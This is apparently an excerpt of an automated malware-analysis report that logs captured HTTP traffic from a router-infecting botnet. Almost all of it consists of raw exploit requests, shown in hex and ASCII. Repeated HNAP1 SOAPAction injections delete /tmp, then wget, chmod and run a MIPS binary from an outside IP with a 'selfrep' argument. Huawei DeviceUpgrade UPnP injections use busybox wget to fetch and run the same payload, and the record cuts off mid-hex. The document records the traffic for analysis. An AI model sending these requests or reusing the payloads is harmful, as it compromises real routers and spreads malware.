Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 